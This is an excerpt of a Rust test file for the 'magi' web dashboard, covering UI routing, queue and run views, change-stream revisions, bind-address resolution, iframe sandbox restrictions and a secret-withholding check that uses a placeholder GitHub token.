16844 let store = ask::Questions::at(PathBuf::from("unused"));
16845 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
16846 let gt = crate::github_text::Withheld::from_check(
16847 &crate::github_text::check("fix: x", body),
16848 "fix: x",
16849 body,
16850 )
16851 .unwrap();
16852 let (detail, comparison) =
16853 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16854 let mut q = Question::new(
16855 "r".into(),
16856 "github-text".into(),
16857 "posting-gate".into(),
16858 "s".into(),
16859 detail,
16860 Vec::new(),
16861 );
16862 q.posting_comparison = Some(comparison);
16863 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
16864 let field = &value["posting_view"]["fields"][0];
16865 let group = &field["replacement_group"];
16866 let triggers = group["triggers"].as_array().unwrap();
16867 assert_eq!(triggers.len(), 2);
16868 assert_ne!(triggers[0], triggers[1]);
16869 for id in triggers {
16870 assert!(
16871 field["original"]
16872 .as_array()
16873 .unwrap()
16874 .iter()
16875 .any(|f| &f["pair"] == id)
16876 );
16877 assert!(
16878 !field["changed"]
16879 .as_array()
16880 .unwrap()
16881 .iter()
16882 .any(|f| &f["pair"] == id)
16883 );
16884 }
16885 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
16886 group["id"].as_u64().unwrap() as usize;
16887 assert!(
16888 QuestionView::of(q, &store, false).posting_view.is_none(),
16889 "group and trigger IDs cannot collide"
16890 );
16891 }
16892
16893 #[test]
16894 fn a_question_view_carries_markdown_for_each_thread_turn() {
16895 let home = TempDir::new().unwrap();
16896 let store = ask::Questions::at(home.path().join("questions"));
16897 let mut q = Question::new(
16898 "run".to_owned(),
16899 "implement".to_owned(),
16900 "impl-A".to_owned(),
16901 "which?".to_owned(),
16902 String::new(),
16903 Vec::new(),
16904 );
16905 q.say("plain words").unwrap();
16906 q.reply("use **this**", Vec::new()).unwrap();
16907 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16908 let bodies = &v["thread_bodies_md"];
16909 assert_eq!(bodies.as_array().unwrap().len(), 2);
16910 assert!(!bodies[0].to_string().contains("strong"));
16911 assert!(bodies[1].to_string().contains("strong"));
16912 }
16913
16914 #[test]
16915 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
16916 let home = TempDir::new().unwrap();
16917 let store = ask::Questions::at(home.path().join("questions"));
16918 let mut q = Question::new(
16919 "run".to_owned(),
16920 "conduct".to_owned(),
16921 "conduct".to_owned(),
16922 "which?".to_owned(),
16923 String::new(),
16924 Vec::new(),
16925 );
16926 q.say("plain words").unwrap();
16927 q.thread.push(ask::Turn {
16928 who: ask::Who::Agent,
16929 body: "Settled as `merge`".to_owned(),
16930 at: jiff::Timestamp::now(),
16931 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
16932 });
16933 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
16934 let notes = &v["thread_notes_md"];
16935 assert_eq!(notes.as_array().unwrap().len(), 2);
16936 assert!(notes[0].is_null());
16937 let text = notes[1].to_string();
16938 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
16939 assert!(APP_JS.contains("ask-turn-note"));
16940 }
16941
16942 #[test]
16943 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
16944 assert!(APP_JS.contains("function landView(run, raw) {"));
16948 assert!(
16949 APP_JS.contains(
16950 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
16951 )
16952 );
16953 assert!(APP_JS.contains("const pr = landView(run, raw);"));
16954 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
16955 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
16956 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
16957 }
16958
16959 #[test]
16960 fn live_runs_are_never_hidden_or_folded_as_superseded() {
16961 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
16962 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
16963 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
16964 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
16965 }
16966
16967 #[test]
16968 fn review_rounds_label_a_distinct_verified_head() {
16969 assert!(APP_JS.contains("round.verified_head"));
16970 assert!(APP_JS.contains("verified HEAD"));
16971 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
16972 }
16973
16974 #[test]
16975 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
16976 assert!(APP_JS.contains("blocked: { glyph:"));
16980 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
16981
16982 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
16986 assert!(
16987 APP_JS.contains(
16988 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
16989 ),
16990 "the note line must name what a blocked task is waiting on, not just that it is blocked"
16991 );
16992 assert!(APP_JS.contains("if (status === \"blocked\") {"));
16996
16997 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17001 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17002 assert!(
17003 APP_JS.contains("location.hash = \"#/questions\";"),
17004 "a question node must jump to the Questions screen, not pretend to be a task"
17005 );
17006
17007 assert!(APP_JS.contains("Resolved questions"));
17010 assert!(APP_JS.contains("r.answersList.append("));
17011 assert!(APP_CSS.contains(".task-answers"));
17012 {
17013 let start = APP_JS
17014 .find("function updateTalkTaskRow")
17015 .expect("updateTalkTaskRow");
17016 let body = &APP_JS[start..];
17017 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17018 assert!(
17019 body.contains(
17020 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17021 ),
17022 "a chat-filed task row must link to the task page"
17023 );
17024 assert!(
17025 !body.contains("#/runs/") && !body.contains("#/queue/"),
17026 "the row must not branch to a run or the queue card"
17027 );
17028 assert!(APP_CSS.contains(".talk-task-link"));
17029 }
17030 }
17031
17032 #[test]
17033 fn a_task_notification_links_to_the_task_page() {
17034 let start = APP_JS
17036 .find("function noticeLink(")
17037 .expect("noticeLink exists");
17038 let body = &APP_JS[start..];
17039 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17040 assert!(
17041 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17042 "a task notice's link must target the task page"
17043 );
17044 assert!(
17045 !body.contains("#/queue/"),
17046 "regression: the task link must not go back to the Backlog route"
17047 );
17048 assert!(
17049 APP_JS.contains(
17050 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17051 ),
17052 "`#/tasks/<id>` must parse into the task route"
17053 );
17054
17055 assert!(
17057 APP_JS.contains(
17058 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17059 ),
17060 "`#/queue/<id>` must parse into a route carrying that id"
17061 );
17062
17063 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17067 assert!(APP_JS.contains("function consumeQueueFocus()"));
17068 assert!(APP_JS.contains("jumpToTask(id)"));
17069 }
17070
17071 #[test]
17074 fn chat_rows_put_the_title_alone_on_the_first_line() {
17075 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17076 assert!(APP_CSS.contains(
17077 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17078 ));
17079 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17080 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17081 }
17082
17083 #[test]
17084 fn run_rows_put_the_title_alone_on_the_first_line() {
17085 assert!(
17086 APP_CSS.contains(
17087 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17088 )
17089 );
17090 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17091 assert!(APP_JS.contains("class: \"card run-card\""));
17092 assert!(APP_JS.contains("class: \"repo run-id\""));
17093 }
17094
17095 #[test]
17099 fn wide_screens_show_list_and_preview_side_by_side() {
17100 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17102 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17103 assert!(APP_CSS.contains("main[data-split]"));
17104 assert!(APP_CSS.contains("body[data-split]"));
17105
17106 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17108 assert!(
17109 APP_JS.contains(
17110 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17111 )
17112 );
17113 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17114 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17115 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17116
17117 assert!(APP_JS.contains("function markSelected() {"));
17119 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17120 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17121 assert!(
17123 APP_CSS.contains(
17124 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17125 )
17126 );
17127
17128 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17130 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17131 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17132 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17133
17134 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17138 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17139 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17140 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17141
17142 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17144 }
17145
17146 #[test]
17147 fn panel_sandbox_carries_exactly_popups() {
17148 let needle = "sandbox: \"";
17149 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
17150 assert_eq!(
17151 matches.len(),
17152 1,
17153 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
17154 );
17155 let start = matches[0].0 + needle.len();
17156 let end = APP_JS[start..]
17157 .find('"')
17158 .expect("sandbox attribute value must be terminated by a closing quote");
17159 let val = &APP_JS[start..start + end];
17160 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
17161 let expected: std::collections::BTreeSet<&str> =
17162 ["allow-popups", "allow-popups-to-escape-sandbox"]
17163 .into_iter()
17164 .collect();
17165 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
17166 assert!(
17167 !tokens.contains("allow-scripts"),
17168 "allow-scripts must never be present in sandbox"
17169 );
17170 assert!(
17171 !tokens.contains("allow-same-origin"),
17172 "allow-same-origin must never be present in sandbox"
17173 );
17174 }
17175
17176 #[test]
17177 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
17178 assert!(
17187 APP_JS.contains(
17188 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
17189 ),
17190 "the search-clearing branch must run before state.queueFocus is cleared, or the \
17191 recursive renderQueue() call has nothing left to jump to"
17192 );
17193 assert!(
17194 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
17195 "state.queueFocus must be cleared only once the jump has landed, so a card that \
17196 arrives later still gets it"
17197 );
17198 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
17199 assert!(APP_JS.contains("is not in the current Backlog."));
17200 assert!(APP_JS.contains("li.card[data-task-id=\""));
17201 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
17202 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
17203 assert!(APP_CSS.contains(".card-permalink"));
17204 assert!(APP_CSS.contains(".queue-focus-status"));
17205 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
17206 }
17207
17208 #[test]
17209 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
17210 assert!(
17218 APP_JS.contains(
17219 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
17220 ),
17221 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
17222 );
17223 }
17224
17225 #[test]
17226 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
17227 assert!(
17228 APP_JS.contains("round.verified_head !== round.head"),
17229 "a round that verified an earlier commit must be visibly distinct from one that \
17230 verified the head reviewers are looking at now"
17231 );
17232 assert!(
17233 APP_JS.contains("round.verified_at"),
17234 "when a check ran must be on the wire, not just which commit"
17235 );
17236 assert!(
17237 APP_JS.contains("resource_blocked"),
17238 "a command magi never got to run (shared build cache contention) must not render \
17239 the same as a command that ran and failed"
17240 );
17241 }
17242
17243 #[test]
17244 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
17245 assert!(
17253 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
17254 "every KPI tile built through statusTile() must route its click through \
17255 openRunsFiltered, the single place that sets the Runs filter"
17256 );
17257 for (label, status) in [
17258 ("Merged", "merged"),
17259 ("Ready", "ready"),
17260 ("Blocked", "blocked"),
17261 ("Stalled", "stalled"),
17262 ] {
17263 let call = format!("statusTile(\"{label}\", t.{status}, ");
17264 assert!(
17265 APP_JS.contains(&call),
17266 "expected the {label} KPI tile built via {call}..."
17267 );
17268 assert!(
17269 APP_JS.contains(&format!("status === \"{status}\"")),
17270 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
17271 compare a run against, not one invented only for the stats tile"
17272 );
17273 }
17274 assert!(
17275 APP_JS.contains("function openRunsFiltered(status)"),
17276 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
17277 );
17278 assert!(
17279 APP_JS.contains(
17280 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
17281 ),
17282 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
17283 );
17284 assert!(
17292 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
17293 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
17294 hashchange event that may never fire"
17295 );
17296 }
17297
17298 #[test]
17299 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
17300 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
17306 assert!(
17307 APP_JS.contains(
17308 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
17309 ),
17310 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
17311 guard for an incompatible tree section"
17312 );
17313 }
17314
17315 #[test]
17316 fn every_stats_queue_tile_names_a_real_queue_section() {
17317 assert!(
17323 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
17324 "every queue tile built through sectionTile() must route its click through \
17325 openQueueSectionFocus"
17326 );
17327 for key in ["upnext", "running", "done", "held", "blocked"] {
17328 assert!(
17329 APP_JS.contains(&format!("{{ key: \"{key}\",")),
17330 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
17331 );
17332 }
17333 for line in [
17337 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
17338 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
17339 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
17340 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
17341 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
17342 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
17343 ] {
17344 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
17345 }
17346 }
17347
17348 #[test]
17349 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
17350 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
17357 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
17358 assert!(APP_JS.contains("function revealQueueSection(details)"));
17359 assert!(
17360 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
17361 "renderQueue() must consume both focus channels on every pass"
17362 );
17363 assert!(
17364 APP_JS.contains(
17365 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
17366 ),
17367 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
17368 the recursive renderQueue() call has nothing left to reveal"
17369 );
17370 assert!(
17371 APP_JS.contains(
17372 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
17373 ),
17374 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
17375 );
17376 assert!(
17384 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
17385 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
17386 hashchange event that may never fire"
17387 );
17388 }
17389
17390 #[tokio::test]
17391 async fn the_change_stream_announces_the_current_revisions_on_connect() {
17392 let f = Fixture::start().await;
17393
17394 let mut socket = tokio::net::TcpStream::connect(f.addr)
17395 .await
17396 .expect("connect");
17397 socket
17398 .write_all(
17399 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
17400 )
17401 .await
17402 .expect("write request");
17403
17404 let mut seen = String::new();
17407 let mut buf = [0u8; 1024];
17408 while !seen.contains("event: change") {
17409 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
17410 .await
17411 .expect("the stream must speak within five seconds")
17412 .expect("read");
17413 assert!(read > 0, "the server closed the change stream: {seen}");
17414 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
17415 }
17416
17417 assert!(
17418 seen.to_lowercase()
17419 .contains("content-type: text/event-stream"),
17420 "the browser only reconnects automatically for a real SSE stream: {seen}"
17421 );
17422 let data = seen
17423 .lines()
17424 .find_map(|l| l.strip_prefix("data:"))
17425 .expect("a data line");
17426 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
17427 assert!(
17428 payload["queue_rev"].is_u64()
17429 && payload["runs_rev"].is_u64()
17430 && payload["questions_rev"].is_u64()
17431 && payload["talks_rev"].is_u64()
17432 && payload["notifications_rev"].is_u64()
17433 && payload["loop_rev"].is_u64(),
17434 "the client needs one revision per store to know what to refetch, \
17435 and `talks_rev` is the only notification a standing talk gets - a \
17436 phone whose radio slept through a turn learns about it here, as \
17437 does one whose operator started the loop from another device: \
17438 {payload}"
17439 );
17440
17441 let health = f.get("/api/health").await.json();
17448 for key in [
17449 "queue_rev",
17450 "runs_rev",
17451 "questions_rev",
17452 "talks_rev",
17453 "notifications_rev",
17454 "loop_rev",
17455 ] {
17456 assert!(
17457 health[key].is_u64(),
17458 "health is the change stream's fallback and is missing `{key}`: {health}"
17459 );
17460 }
17461 }
17462
17463 #[tokio::test]
17464 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
17465 let f = Fixture::start().await;
17466 let before = f.get("/api/health").await.json()["talks_rev"]
17467 .as_u64()
17468 .expect("talks_rev");
17469
17470 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
17471 std::thread::sleep(Duration::from_millis(10));
17472 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
17473 on_disk.turns.push(crate::talk::Turn {
17474 sender: None,
17475 breaks: Some(Vec::new()),
17476 messages: Vec::new(),
17477 posted_by: None,
17478 who: crate::talk::Who::Operator,
17479 body: "a new turn".to_owned(),
17480 at: Timestamp::now(),
17481 attachments: Vec::new(),
17482 usage: None,
17483 });
17484 f.talks().put(&mut on_disk).expect("record a turn");
17485
17486 let after = f.get("/api/health").await.json()["talks_rev"]
17487 .as_u64()
17488 .expect("talks_rev");
17489 assert_ne!(
17490 before, after,
17491 "a phone must be able to notice a talk's reply without polling every store"
17492 );
17493 }
17494
17495 #[test]
17496 fn bind_reads_back_from_the_spelling_the_cli_prints() {
17497 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
17501 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
17502 }
17503 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
17504 assert!("everywhere".parse::<Bind>().is_err());
17505 }
17506
17507 #[test]
17508 fn an_explicit_bind_address_is_taken_verbatim() {
17509 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
17510
17511 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
17512
17513 assert_eq!(addr, asked);
17514 assert!(
17515 warning.is_none(),
17516 "an operator who named an address gets no lecture"
17517 );
17518 }
17519
17520 #[test]
17521 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
17522 let (addr, warning) = resolve_bind(&Bind::Auto);
17523
17524 match addr {
17531 IpAddr::V4(ip) if is_tailnet(&ip) => {
17532 assert!(warning.is_none(), "a tailnet address needs no warning");
17533 }
17534 other => {
17535 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
17536 let warning = warning.expect("a fallback has to explain itself");
17537 assert!(
17538 warning.contains("127.0.0.1") && warning.contains("local-only"),
17539 "the warning says what happened and what it costs: {warning}"
17540 );
17541 }
17542 }
17543 }
17544
17545 #[test]
17546 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
17547 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
17551 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
17552 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
17553 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
17554 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
17555 }
17556
17557 #[test]
17558 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
17559 let ids = vec![
17560 "20260902-140501-aaaa".to_owned(),
17561 "20260902-140502-aabb".to_owned(),
17562 ];
17563
17564 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
17565 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
17566 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
17567
17568 assert_eq!(missing.status, StatusCode::NOT_FOUND);
17569 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
17570 assert_eq!(short, "20260902-140502-aabb");
17571 }
17572 #[tokio::test]
17573 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
17574 let fx = Fixture::start().await;
17580 let id = panel(
17581 &fx,
17582 "<img src=\"shot.png\">",
17583 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
17584 );
17585
17586 let doc = fx
17588 .get(&format!("/api/questions/{id}/panel/index.html"))
17589 .await;
17590 assert_eq!(doc.status, 200, "{}", doc.body);
17591 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
17592
17593 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
17594 assert_eq!(sibling.status, 200, "{}", sibling.body);
17595 assert_eq!(sibling.header("content-type"), Some("image/png"));
17596 assert_eq!(
17597 sibling.header("content-security-policy"),
17598 Some(PANEL_CSP),
17599 "the sibling route must carry the same policy as the asset route"
17600 );
17601
17602 assert_eq!(
17605 fx.head(&format!("/api/questions/{id}/panel")).await.status,
17606 200
17607 );
17608 }
17609
17610 #[test]
17611 fn delta_stamps_cover_add_update_remove_and_noop() {
17612 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
17613 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
17614 let delta = diff_stamps(&before, &after, 42);
17615 assert_eq!(delta.base, 42);
17616 assert_eq!(delta.changed, ["b", "c"]);
17617 assert_eq!(delta.removed, ["a"]);
17618 let same = diff_stamps(&after, &after, 43);
17619 assert!(same.changed.is_empty() && same.removed.is_empty());
17620 assert_ne!(stamps_revision(&before), stamps_revision(&after));
17621 let nanos: Stamps = [("b".into(), (2, 20))].into();
17622 let same_ms: Stamps = [("b".into(), (3, 20))].into();
17623 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
17624 assert_eq!(stamps_revision(&Stamps::new()), 0);
17625 }
17626
17627 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
17628 std::fs::create_dir_all(home.join("runs")).unwrap();
17629 Arc::new(Ui::new(
17630 Queue::at(home.join("queue")),
17631 Questions::at(home.join("questions")),
17632 Talks::at(home.join("talks")),
17633 home.join("runs"),
17634 home.to_owned(),
17635 PathBuf::from("/repo/magi"),
17636 ))
17637 }
17638
17639 #[tokio::test]
17640 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
17641 let home = TempDir::new().unwrap();
17642 let ui = delta_test_ui(home.path());
17643 let mut task = Task::new(
17644 "stream task".into(),
17645 "text".into(),
17646 PathBuf::from("/repo"),
17647 Source::Human,
17648 );
17649 ui.queue.put(&mut task).unwrap();
17650 let response = events(State(ui.clone())).await.into_response();
17651 let mut stream = response.into_body().into_data_stream();
17652 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
17653 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
17654 .await
17655 .unwrap()
17656 .unwrap()
17657 .unwrap();
17658 let text = String::from_utf8(chunk.to_vec()).unwrap();
17659 let data = text
17660 .lines()
17661 .find_map(|line| {
17662 line.strip_prefix("data: ")
17663 .or_else(|| line.strip_prefix("data:"))
17664 })
17665 .unwrap();
17666 serde_json::from_str(data).unwrap()
17667 }
17668 let initial = change(&mut stream).await;
17669 assert!(initial.get("queue_delta").is_none());
17670 task.instruction.push_str(" changed");
17671 ui.queue.put(&mut task).unwrap();
17672 let updated = change(&mut stream).await;
17673 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
17674 assert_eq!(
17675 updated["queue_delta"]["changed"],
17676 serde_json::json!([task.id])
17677 );
17678 assert_eq!(
17679 updated["queue_rev"].as_u64(),
17680 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17681 );
17682 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17683 let removed = change(&mut stream).await;
17684 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17685 assert_eq!(
17686 removed["queue_delta"]["removed"],
17687 serde_json::json!([task.id])
17688 );
17689 }
17690
17691 #[tokio::test]
17692 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17693 let home = TempDir::new().unwrap();
17694 let ui = delta_test_ui(home.path());
17695 let queue = ui.queue.clone();
17696 let query = |ids: Option<&str>| {
17697 Query(ListQuery {
17698 limit: Some(2),
17699 ids: ids.map(str::to_owned),
17700 })
17701 };
17702 let mut root = Task::new(
17703 "root".into(),
17704 "instruction".into(),
17705 PathBuf::from("/repo"),
17706 Source::Human,
17707 );
17708 queue.put(&mut root).unwrap();
17709 let mut blocked = Task::new(
17710 "blocked".into(),
17711 "instruction".into(),
17712 PathBuf::from("/repo"),
17713 Source::Human,
17714 );
17715 blocked.block(vec![root.id.clone()], None);
17716 queue.put(&mut blocked).unwrap();
17717 let whole =
17718 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17719 .unwrap();
17720 let subset = serde_json::to_value(
17721 queue_list(State(ui.clone()), query(Some(&root.id)))
17722 .await
17723 .unwrap()
17724 .0,
17725 )
17726 .unwrap();
17727 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17728 let blockers = serde_json::to_value(
17729 queue_list(State(ui.clone()), query(Some("")))
17730 .await
17731 .unwrap()
17732 .0,
17733 )
17734 .unwrap();
17735 assert_eq!(blockers.as_array().unwrap().len(), 1);
17736 assert_eq!(blockers[0]["id"], blocked.id);
17737 assert_eq!(
17738 blockers[0]["waits_on"],
17739 whole
17740 .as_array()
17741 .unwrap()
17742 .iter()
17743 .find(|row| row["id"] == blocked.id)
17744 .unwrap()["waits_on"]
17745 );
17746
17747 for id in [
17748 "20260902-140501-aaaa",
17749 "20260902-140502-bbbb",
17750 "20260902-140503-cccc",
17751 ] {
17752 write_run(&ui.runs, id, RunStatus::Merged);
17753 }
17754 let old = serde_json::to_value(
17755 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17756 .await
17757 .unwrap()
17758 .0,
17759 )
17760 .unwrap();
17761 assert!(
17762 old.as_array().unwrap().is_empty(),
17763 "older updates must not enter the window"
17764 );
17765 let newest = serde_json::to_value(
17766 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
17767 .await
17768 .unwrap()
17769 .0,
17770 )
17771 .unwrap();
17772 assert_eq!(newest.as_array().unwrap().len(), 1);
17773 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
17774
17775 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
17776 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
17777 let talks = serde_json::to_value(
17778 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
17779 .await
17780 .unwrap()
17781 .0,
17782 )
17783 .unwrap();
17784 assert_eq!(talks.as_array().unwrap().len(), 1);
17785 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
17786 assert_eq!(
17787 serde_json::to_value(
17788 talks_list(State(ui.clone()), query(Some("")))
17789 .await
17790 .unwrap()
17791 .0
17792 )
17793 .unwrap(),
17794 serde_json::json!([])
17795 );
17796 }
17797
17798 #[tokio::test]
17799 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
17800 async fn delta_payload_benchmark() {
